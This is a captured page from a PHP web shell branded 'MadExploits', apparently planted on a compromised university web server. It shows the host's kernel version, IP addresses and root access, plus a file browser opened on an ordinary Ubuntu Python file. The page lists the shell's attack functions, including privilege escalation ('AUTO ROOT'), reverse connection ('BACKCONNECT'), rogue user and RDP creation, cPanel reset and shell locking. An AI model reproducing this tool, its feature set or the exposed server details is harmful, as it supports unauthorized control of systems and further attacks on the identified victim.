Linux web-conference.aiou.edu.pk 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.144.119.27
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
janitor /
plugincore /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
722
B
-rw-r--r--
cruft.py
5.27
KB
-rw-r--r--
exceptions.py
1.47
KB
-rw-r--r--
i18n.py
1.23
KB
-rw-r--r--
manager.py
7.58
KB
-rw-r--r--
plugin.py
2.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : plugin.py
# Copyright (C) 2008-2012 Canonical, Ltd. # -*- Mode: Python; indent-tabs-mode: nil; tab-width: 4; coding: utf-8 -*- # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation, version 3 of the License. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program. If not, see <http://www.gnu.org/licenses/>. from __future__ import absolute_import, print_function, unicode_literals __metaclass__ = type __all__ = [ 'Plugin', ] from janitor.plugincore.exceptions import UnimplementedMethod class Plugin: """Base class for plugins. These plugins only do one thing: identify cruft. See the 'get_cruft' method for details. """ # XXX BAW 2012-06-08: For historical reasons, we do not set # self._condition or self.app in a constructor. This needs to be fixed. @property def condition(self): return (self._condition if hasattr(self, '_condition') else []) @condition.setter def condition(self, condition): self._condition = condition def set_application(self, app): """Set the Application instance this plugin belongs to.""" self.app = app def do_cleanup_cruft(self): """Find cruft and clean it up. This is a helper method. """ for cruft in self.get_cruft(): cruft.cleanup() self.post_cleanup() def get_cruft(self): """Find some cruft in the system. This method MUST return an iterator (see 'yield' statement). This interface design allows cruft to be collected piecemeal, which makes it easier to show progress in the user interface. The base class default implementation of this raises an exception. Subclasses MUST override this method. """ raise UnimplementedMethod(self.get_cruft) @property def cruft(self): for cruft in self.get_cruft(): yield cruft def post_cleanup(self): """Do plugin-wide cleanup after the individual cleanup was performed. This is useful for stuff that needs to be processed in batches (e.g. for performance reasons) like package removal. """ pass
Close